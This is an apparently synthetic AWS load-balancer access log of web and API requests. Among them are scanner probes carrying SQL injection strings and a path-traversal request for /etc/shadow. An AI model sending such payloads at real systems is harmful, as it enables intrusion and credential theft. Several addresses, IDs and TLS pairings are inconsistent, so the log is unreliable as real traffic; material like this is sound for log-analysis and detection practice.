TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c98f-8c01fa07858d4604a01fcdc3" "prod-api-alb.example.com" "-" 2 2024-11-01T01:16:47.238119Z "forward" "-" "-" "10.0.125.253:443" "200" "-" "-" -https 2024-11-01T01:16:48.439528Z prod-api-alb 177.135.139.232:13287 10.0.220.217:443 0.068732 0.474653 0.047007 301 301 487 11818 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c990-df34c39c8f11468e93a46a9f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:16:48.439528Z "forward" "-" "-" "10.0.220.217:443" "301" "-" "-" -https 2024-11-01T01:16:49.539171Z prod-web-alb 180.99.75.207:36384 10.0.212.168:443 0.065708 0.055524 0.082430 200 200 180 14052 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c991-3d214941a4d94802a4e18f23" "prod-web-alb.example.com" "-" 6 2024-11-01T01:16:49.539171Z "forward" "-" "-" "10.0.212.168:443" "200" "-" "-" -https 2024-11-01T01:16:50.158375Z prod-web-alb 165.31.254.14:24989 10.0.216.78:443 0.046922 0.101999 0.014243 200 200 62 1827 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c992-617099c937794352a24132b4" "prod-web-alb.example.com" "-" 2 2024-11-01T01:16:50.158375Z "forward" "-" "-" "10.0.216.78:443" "200" "-" "-" -https 2024-11-01T01:16:51.105158Z prod-web-alb 1.142.48.50:10672 10.0.14.31:443 0.045440 0.279381 0.001354 200 200 498 1158 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c993-173831401ebd42c7a7247b72" "prod-web-alb.example.com" "-" 1 2024-11-01T01:16:51.105158Z "forward" "-" "-" "10.0.14.31:443" "200" "-" "-" -https 2024-11-01T01:16:53.102697Z prod-api-alb 45.155.205.16:50516 10.0.10.118:443 0.047368 0.046183 0.016311 200 200 712 5310 "GET /login?id=1'-- HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c995-0912b77e874842308480c1cb" "-" "-" 3 2024-11-01T01:16:53.102697Z "forward" "-" "-" "10.0.10.118:443" "200" "-" "-" -https 2024-11-01T01:16:54.558745Z prod-web-alb 241.63.229.116:18581 10.0.215.148:443 0.036054 0.423182 0.033131 302 302 884 2731 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c996-3c9a4d2183b741c0b8af587a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:16:54.558745Z "forward" "-" "-" "10.0.215.148:443" "302" "-" "-" -https 2024-11-01T01:16:56.405362Z prod-web-alb 4.141.220.24:28104 10.0.68.182:443 0.008772 0.114402 0.086809 200 200 429 1143 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c998-cca04cc5ee8a476dbeeeb4e3" "prod-web-alb.example.com" "-" 2 2024-11-01T01:16:56.405362Z "forward" "-" "-" "10.0.68.182:443" "200" "-" "-" -https 2024-11-01T01:16:56.663306Z prod-web-alb 244.249.221.63:45004 10.0.29.43:443 0.087792 0.449588 0.035052 302 302 879 2335 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c998-6bcd997958734b3a8232bc22" "prod-web-alb.example.com" "-" 4 2024-11-01T01:16:56.663306Z "forward" "-" "-" "10.0.29.43:443" "302" "-" "-" -https 2024-11-01T01:16:58.523715Z staging-alb 204.153.87.237:22861 114.46.165.246:80 0.009538 0.160705 0.060963 200 200 708 14381 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c99a-dfba2f22570841368043026c" "staging-alb.example.com" "-" 1 2024-11-01T01:16:58.523715Z "forward" "-" "-" "114.46.165.246:80" "200" "-" "-" -https 2024-11-01T01:16:59.540312Z prod-web-alb 185.181.160.192:29526 10.0.127.221:443 0.059088 0.484693 0.037590 403 403 245 12242 "GET /images/../../../../etc/shadow HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c99b-127ffcbb46634a85bbd07a63" "-" "-" 10 2024-11-01T01:16:59.540312Z "forward" "-" "-" "10.0.127.221:443" "403" "-" "-" -https 2024-11-01T01:17:01.056697Z prod-api-alb 22.102.190.114:37257 10.0.182.138:443 0.043771 0.133006 0.021163 200 200 946 3982 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c99d-e9953725234d4c45a40ef131" "prod-api-alb.example.com" "-" 3 2024-11-01T01:17:01.056697Z "forward" "-" "-" "10.0.182.138:443" "200" "-" "-" -http 2024-11-01T01:17:02.049261Z staging-alb 31.97.140.186:13267 94.115.148.49:8080 0.040276 0.064422 0.100102 302 302 878 6813 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c99e-50830a55553944359f6bba4f" "staging-alb.example.com" "-" 7 2024-11-01T01:17:02.049261Z "forward" "-" "-" "94.115.148.49:8080" "302" "-" "-" -https 2024-11-01T01:17:02.370347Z prod-web-alb 106.181.251.136:26869 10.0.26.160:443 0.062114 0.192074 0.076716 200 200 256 6563 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c99e-40b4487323fa45baac81f9a5" "prod-web-alb.example.com" "-" 3 2024-11-01T01:17:02.370347Z "forward" "-" "-" "10.0.26.160:443" "200" "-" "-" -https 2024-11-01T01:17:02.499147Z prod-api-alb 241.4.149.179:17762 10.0.173.70:443 0.017833 0.048079 0.024247 302 302 825 4445 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c99e-65f260f4fb044bb1a9d4e4c8" "prod-api-alb.example.com" "-" 3 2024-11-01T01:17:02.499147Z "forward" "-" "-" "10.0.173.70:443" "302" "-" "-" -https 2024-11-01T01:17:03.256120Z prod-api-alb 213.30.21.175:32411 10.0.231.191:443 0.028014 0.051061 0.078241 200 200 938 10178 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c99f-fa4e784d44404886a2add8e5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:17:03.256120Z "forward" "-" "-" "10.0.231.191:443" "200" "-" "-" -https 2024-11-01T01:17:04.210134Z prod-api-alb 174.224.75.165:20659 10.0.226.242:443 0.004798 0.240594 0.054020 200 200 596 8077 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9a0-3635c1809aa8476b8a058c64" "prod-api-alb.example.com" "-" 8 2024-11-01T01:17:04.210134Z "forward" "-" "-" "10.0.226.242:443" "200" "-" "-" -https 2024-11-01T01:17:05.733968Z prod-web-alb 9.8.59.226:38322 10.0.173.53:443 0.079461 0.301970 0.080740 301 301 539 1770 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9a1-3db5cfffac024ec89e0bde6f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:17:05.733968Z "forward" "-" "-" "10.0.173.53:443" "301" "-" "-" -https 2024-11-01T01:17:06.365001Z prod-web-alb 45.155.205.170:37000 10.0.246.133:443 0.094049 0.344406 0.027876 403 403 305 13722 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9a2-4cb1a84187dd435ab56411d6" "-" "-" 7 2024-11-01T01:17:06.365001Z "forward" "-" "-" "10.0.246.133:443" "403" "-" "-" -https 2024-11-01T01:17:07.574190Z prod-api-alb 73.92.105.190:37665 10.0.238.168:443 0.095252 0.147763 0.078688 301 301 407 11523 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9a3-e79d83e5f430416caf3bc075" "prod-api-alb.example.com" "-" 9 2024-11-01T01:17:07.574190Z "forward" "-" "-" "10.0.238.168:443" "301" "-" "-" -https 2024-11-01T01:17:08.374930Z prod-web-alb 174.144.221.44:36026 10.0.189.70:443 0.049669 0.356283 0.056539 404 404 678 2129 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9a4-3e6cbae106e54eb4b814640b" "prod-web-alb.example.com" "-" 10 2024-11-01T01:17:08.374930Z "forward" "-" "-" "10.0.189.70:443" "404" "-" "-" -https 2024-11-01T01:17:10.050652Z prod-web-alb 29.56.61.232:54129 10.0.5.99:443 0.031908 0.085951 0.093884 200 200 669 4186 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9a6-98ea65823041446792f9a33a" "-" "-" 0 2024-11-01T01:17:10.050652Z "forward" "-" "-" "10.0.5.99:443" "200" "-" "-" -https 2024-11-01T01:17:10.210163Z staging-alb 16.1.17.21:59423 155.221.210.200:443 0.109114 0.500815 0.058712 200 200 689 8103 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9a6-f5753b1f557a4f82b238bb9c" "staging-alb.example.com" "-" 9 2024-11-01T01:17:10.210163Z "forward" "-" "-" "155.221.210.200:443" "200" "-" "-" -https 2024-11-01T01:17:10.694365Z prod-api-alb 247.162.195.15:32739 10.0.45.183:443 0.045032 0.279416 0.087699 404 404 899 6247 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9a6-673e7a4c2a0445e19c996a18" "prod-api-alb.example.com" "-" 5 2024-11-01T01:17:10.694365Z "forward" "-" "-" "10.0.45.183:443" "404" "-" "-" -https 2024-11-01T01:17:11.321296Z staging-alb 220.3.202.144:20685 228.101.37.114:443 0.048563 0.378203 0.080633 200 200 594 6584 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9a7-40e31d04f9a0444fb3e3f13b" "staging-alb.example.com" "-" 2 2024-11-01T01:17:11.321296Z "forward" "-" "-" "228.101.37.114:443" "200" "-" "-" -https 2024-11-01T01:17:12.198223Z prod-api-alb 23.60.88.140:25898 10.0.195.142:443 0.097751 0.170332 0.034430 404 404 527 13855 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9a8-6c41c3c30bcb45cda6021841" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:12.198223Z "forward" "-" "-" "10.0.195.142:443" "404" "-" "-" -https 2024-11-01T01:17:13.146293Z staging-alb 31.131.149.38:57850 87.79.187.137:443 0.109604 0.099216 0.033250 200 200 836 11565 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9a9-2cbb2623e07649baa1a1d421" "staging-alb.example.com" "-" 8 2024-11-01T01:17:13.146293Z "forward" "-" "-" "87.79.187.137:443" "200" "-" "-" -https 2024-11-01T01:17:14.798896Z prod-web-alb 83.82.9.227:37253 10.0.158.17:443 0.028160 0.202654 0.066242 200 200 567 2420 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9aa-08b4b703e4ce408f9023d722" "prod-web-alb.example.com" "-" 6 2024-11-01T01:17:14.798896Z "forward" "-" "-" "10.0.158.17:443" "200" "-" "-" -https 2024-11-01T01:17:15.919124Z prod-web-alb 53.129.245.134:64601 10.0.248.181:443 0.067534 0.476077 0.013482 404 404 441 2530 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9ab-0b0a444ac8774344adf4286f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:17:15.919124Z "forward" "-" "-" "10.0.248.181:443" "404" "-" "-" -http 2024-11-01T01:17:16.705020Z staging-alb 81.176.107.115:20294 29.167.27.189:80 0.031375 0.261353 0.032021 200 200 942 11515 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9ac-055b436621cc4143b5c20f7e" "staging-alb.example.com" "-" 7 2024-11-01T01:17:16.705020Z "forward" "-" "-" "29.167.27.189:80" "200" "-" "-" -https 2024-11-01T01:17:18.381311Z prod-api-alb 70.211.245.179:11866 10.0.128.154:443 0.066288 0.274383 0.067187 302 302 439 1143 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9ae-e53210893f2c4182bc12ea30" "prod-api-alb.example.com" "-" 7 2024-11-01T01:17:18.381311Z "forward" "-" "-" "10.0.128.154:443" "302" "-" "-" -http 2024-11-01T01:17:19.334625Z staging-alb 6.44.68.106:25913 182.138.3.160:443 0.060740 0.303640 0.015239 404 404 108 1318 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9af-79e881a9f2da43c5bf7db0d6" "staging-alb.example.com" "-" 9 2024-11-01T01:17:19.334625Z "forward" "-" "-" "182.138.3.160:443" "404" "-" "-" -https 2024-11-01T01:17:20.277249Z prod-web-alb 123.14.19.60:30812 10.0.43.149:443 0.051519 0.114196 0.054386 200 200 890 1463 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9b0-408ca6e67c864387abb9b305" "prod-web-alb.example.com" "-" 8 2024-11-01T01:17:20.277249Z "forward" "-" "-" "10.0.43.149:443" "200" "-" "-" -http 2024-11-01T01:17:21.276500Z staging-alb 235.56.122.201:59543 176.147.62.50:80 0.004510 0.605994 0.090144 404 404 553 13473 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9b1-48823c34924e42b9a86e0b0b" "staging-alb.example.com" "-" 8 2024-11-01T01:17:21.276500Z "forward" "-" "-" "176.147.62.50:80" "404" "-" "-" -https 2024-11-01T01:17:23.195344Z prod-web-alb 228.173.8.11:18596 10.0.21.115:443 0.091253 0.292346 0.056768 200 200 493 1770 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9b3-d8786567644f4eae996da447" "prod-web-alb.example.com" "-" 5 2024-11-01T01:17:23.195344Z "forward" "-" "-" "10.0.21.115:443" "200" "-" "-" -https 2024-11-01T01:17:23.676304Z staging-alb 193.27.228.71:51239 132.245.207.114:8080 0.149330 0.253768 0.043329 500 500 980 9547 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9b3-5e909ddc6b4e45639bb324d3" "-" "-" 10 2024-11-01T01:17:23.676304Z "forward" "-" "-" "132.245.207.114:8080" "500" "-" "-" -https 2024-11-01T01:17:25.510929Z staging-alb 96.106.182.36:33729 233.84.66.135:80 0.096653 0.636460 0.126315 200 200 282 1394 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9b5-96745c2269784727a6b83c24" "staging-alb.example.com" "-" 2 2024-11-01T01:17:25.510929Z "forward" "-" "-" "233.84.66.135:80" "200" "-" "-" -https 2024-11-01T01:17:25.832665Z prod-api-alb 85.168.124.216:20673 10.0.173.2:443 0.039835 0.281008 0.082764 200 200 160 2248 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9b5-0ffc25d975e144f8a2bccdf1" "prod-api-alb.example.com" "-" 0 2024-11-01T01:17:25.832665Z "forward" "-" "-" "10.0.173.2:443" "200" "-" "-" -https 2024-11-01T01:17:26.711010Z prod-web-alb 58.237.158.135:61522 10.0.177.88:443 0.063370 0.073213 0.027430 200 200 484 3612 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9b6-a0ae897a1a634500ab63415b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:17:26.711010Z "forward" "-" "-" "10.0.177.88:443" "200" "-" "-" -https 2024-11-01T01:17:28.697527Z prod-web-alb 118.96.140.98:23171 10.0.107.161:443 0.070918 0.051929 0.089605 404 404 222 4542 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9b8-ebda583f215049e0a2a11992" "prod-web-alb.example.com" "-" 9 2024-11-01T01:17:28.697527Z "forward" "-" "-" "10.0.107.161:443" "404" "-" "-" -https 2024-11-01T01:17:29.682057Z prod-api-alb 179.112.95.148:48506 10.0.18.111:443 0.002356 0.336367 0.010093 301 301 369 9507 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9b9-e7523d5378674f5384b6ada1" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:29.682057Z "forward" "-" "-" "10.0.18.111:443" "301" "-" "-" -https 2024-11-01T01:17:31.565844Z prod-web-alb 224.245.179.243:55486 10.0.116.5:443 0.011299 0.476404 0.011744 200 200 740 11306 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9bb-ddd85c5552804b5db278660f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:17:31.565844Z "forward" "-" "-" "10.0.116.5:443" "200" "-" "-" -https 2024-11-01T01:17:32.701922Z staging-alb 131.194.81.108:33287 66.98.222.11:443 0.057455 0.600445 0.079591 301 301 491 11785 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9bc-5fec5002a5b64f6dbce94036" "-" "-" 8 2024-11-01T01:17:32.701922Z "forward" "-" "-" "66.98.222.11:443" "301" "-" "-" -https 2024-11-01T01:17:34.661265Z staging-alb 139.123.99.158:21197 216.9.4.80:80 0.045622 0.065376 0.119535 301 301 635 5228 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9be-c24aef7b9b964a6a81cf86fd" "staging-alb.example.com" "-" 9 2024-11-01T01:17:34.661265Z "forward" "-" "-" "216.9.4.80:80" "301" "-" "-" -https 2024-11-01T01:17:34.769587Z prod-web-alb 99.7.118.101:43051 10.0.119.211:443 0.031790 0.017831 0.062328 200 200 82 3195 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9be-b530b3524de24fadbc8e04d3" "prod-web-alb.example.com" "-" 8 2024-11-01T01:17:34.769587Z "forward" "-" "-" "10.0.119.211:443" "200" "-" "-" -https 2024-11-01T01:17:35.715395Z staging-alb 122.95.165.45:52597 170.171.57.55:8080 0.010079 0.115449 0.041584 200 200 461 10376 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9bf-232aa080e3e74810ab3cc065" "staging-alb.example.com" "-" 3 2024-11-01T01:17:35.715395Z "forward" "-" "-" "170.171.57.55:8080" "200" "-" "-" -http 2024-11-01T01:17:37.602996Z staging-alb 145.33.222.108:20102 56.110.76.242:8080 0.093750 0.184753 0.004541 302 302 326 2880 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9c1-f06b58c0c38e4e4389ac4497" "staging-alb.example.com" "-" 7 2024-11-01T01:17:37.602996Z "forward" "-" "-" "56.110.76.242:8080" "302" "-" "-" -https 2024-11-01T01:17:38.989349Z prod-api-alb 164.47.111.248:35277 10.0.154.253:443 0.065913 0.487994 0.083175 200 200 95 10951 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 